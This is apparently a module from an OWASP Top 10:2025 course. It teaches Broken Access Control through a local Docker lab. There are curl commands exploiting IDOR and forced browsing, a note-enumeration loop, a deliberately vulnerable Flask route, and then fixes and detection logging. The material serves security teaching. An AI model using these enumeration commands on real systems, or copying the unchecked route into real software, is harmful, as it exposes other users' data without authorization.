OWASP Top 10:2025 Course — Module 1 of 10. Course home · Next: Module 2 — Security Misconfiguration
Learn first: what is Broken Access Control
Broken Access Control is the #1 risk in the OWASP Top 10:2025, and it now absorbs 40 CWEs — up from 34 in 2021 — because it has pulled in Server-Side Request Forgery (SSRF), previously its own category. The logic: SSRF is an access-control failure where an attacker tricks the server into making a request it shouldn’t be authorized to make. Across OWASP’s dataset, 100% of tested applications showed at least one access-control weakness, with an average weighted exploit score of 7.04 — these bugs are reliably exploitable with nothing more exotic than a browser’s address bar.
The two patterns you’ll exploit in this module are the most common real-world forms:
- IDOR (Insecure Direct Object Reference): a URL or API parameter refers directly to a database row (
/notes/3), and the server fetches it without checking that the requester actually owns it. - Forced browsing: an endpoint like
/adminexists, works, and returns sensitive data to anyone who requests it, because no authentication or role check runs before the handler executes.
Request: GET /notes/3 Request: GET /admin
Session: user=alice Session: (none)
│
│ │
▼ ▼
┌─────────────┐ ┌─────────────┐
│ fetch note │ │ admin_panel │
│ by ID only │ <- no owner │ no auth │ <- no check
│ (no check) │ check │ check at all│ at all
└─────────────┘ └─────────────┘
│ │
▼ ▼
returns bob's note returns every user + password
Scenario briefing
You’re a junior pentester doing an authorized internal review for Acme Corp. Their engineering team built SecureNotes, an internal notes app, and asked you to "just check it’s not completely broken before launch." You have a throwaway account (alice / alice123). Nobody told you the admin panel exists — you’re expected to find it.
Lab setup
- Download: Download the lab (zip)
- Unzip it anywhere on your machine.
- Prerequisites: Docker Engine 20+, Docker Compose v2, Python 3.9+ on your host.
- Start it:
cd owasp-a01-broken-access-control-lab docker compose up -d --build - Check it worked:
curl -s http://127.0.0.1:5000/ -o /dev/null -w "%{http_code}\n" # 302 -> redirects to /login python3 lab.py statusYou should see the vulnerable app on
http://127.0.0.1:5000and a reference fixed app onhttp://127.0.0.1:5001, plus a 5-mission list fromlab.py status.
Missions
Mission 1 — IDOR: read a note you don’t own. Log in as alice / alice123 at http://127.0.0.1:5000. Her dashboard shows notes #1 and #2. Change the URL to /notes/3. Submit the FLAG you find in the note body: python3 lab.py flag 1 <FLAG>.
Show solution
Solution — Mission 1
curl -s -c cj.txt -d "username=alice&password=alice123" http://127.0.0.1:5000/login
curl -s -b cj.txt http://127.0.0.1:5000/notes/3
The route GET /notes/<id> fetches by primary key with no ownership check:
@app.route("/notes/<int:note_id>")
def note_detail(note_id):
note = conn.execute("SELECT ... WHERE notes.id=?", (note_id,)).fetchone()
# BUG: no check that note["user_id"] == session["user_id"]
return render_template_string(page, title=note["title"])
The note belongs to bob and contains FLAG{a01-idor-read-bobs-note}.
Mission 2 — enumerate every note. A real attacker wouldn’t stop at one ID. Loop /notes/1 through /notes/9999 as alice and see how many users’ notes you can read. The admin’s config note holds a second FLAG.
Show solution
Solution — Mission 2
for i in $(seq 1 10); do curl -s -b cj.txt http://127.0.0.1:5000/notes/$i | grep -o 'FLAG{[^}]*}'; done
Note #5 (owned by admin) contains FLAG{a01-enumerated-every-note}. This is the real-world risk of IDOR: it’s not "one leaked record," it’s "every record, scriptable."
Mission 3 — forced browsing to /admin. Without logging in at all, browse to http://127.0.0.1:5000/admin.
Show solution
Solution — Mission 3
curl -s http://127.0.0.1:5000/admin | grep -o 'FLAG{[^}]*}'
admin_panel() has no @login_required or role check — it runs for anyone. The panel prints the full users table, including plaintext passwords, and FLAG{a01-forced-browsing-admin-panel}.
Mission 4 — fix both bugs. Edit app/vulnerable_app.py: add an ownership check to note_detail() and a role-required decorator to admin_panel(). (The reference fix is in app/fixed_app.py if you want to compare, not copy blindly — write it yourself first.)
Show solution
Solution — Mission 4
if note["user_id"] != session["user_id"]:
sec_logger.warning("IDOR ATTEMPT: user=%s tried note #%d owned by %d",
session.get("username"), note_id, note["user_id"])
return render_template_string(denied_page, title="Access Denied"), 403
def role_required(role):
def decorator(f):
@wraps(f)
def decorated(*a, **kw):
if not session.get("user_id"):
return redirect(url_for("login"))
if session.get("role") != role:
sec_logger.warning("ROLE VIOLATION: user=%s tried %s", session.get("username"), request.path)
return render_template_string(denied_page, title="Access Denied"), 403
return f(*a, **kw)
return decorated
return decorator
@app.route("/admin")
@role_required("admin")
def admin_panel(): ...
Restart (docker compose restart vulnerable) and run python3 lab.py verify — all 5 checks should pass.
Mission 5 — detect it. With the fix applied (or against the fixed service on :5001, which already has it), repeat missions 1 and 3, then check the logs.
Show solution
Solution — Mission 5
docker compose logs fixed | grep -E "IDOR ATTEMPT|ROLE VIOLATION"
SECURITY WARNING — IDOR ATTEMPT: user=alice tried to access note #3 owned by user_id=2
SECURITY WARNING — ROLE VIOLATION: user=alice (role=user) tried to access /admin (requires admin)
Every denied access attempt is now a structured, greppable log line — feed this into your SIEM and alert on more than N denials from one account in a short window.
Hints
- If a mission seems to "just work," you’re probably still hitting the vulnerable app on
:5000instead of the fixed one on:5001— or the reverse. lab.py verifyonly checks the fixed behavior; run it against the service you actually patched.- The ownership check is one
ifstatement. The role check is a decorator you apply with@. Neither needs a new database table.
Fix it + re-test
Already covered in missions 4–5 above. The short version: never trust an ID from the client as authorization — always re-derive "do I own this" or "am I allowed to see this" server-side, on every request, from the session.
Detect it
Log every access-control decision that denies a request (not just the grants) with who, what resource, and what role was required. A single denied attempt is noise; five denied attempts for different note IDs from one session in ten seconds is an IDOR enumeration in progress.
Quick self-check
- Why doesn’t a
max="4"HTML attribute or a hidden form field count as access control? - If
/notes/<id>checkedsession.get("user_id")but not ownership, what’s still broken? - Why did OWASP fold SSRF into A01 instead of keeping it separate in 2025?
Show answers
Answers
- Anything enforced only in the browser (HTML, JS, CSS) is cosmetic — an attacker using
curlor Burp skips the browser entirely and sends whatever request they want. - That only proves the user is logged in, not that they own the specific resource — exactly the IDOR in this lab.
- SSRF is fundamentally the server making an unauthorized request on an attacker’s behalf — it’s an access-control failure at its core, not a separate bug class.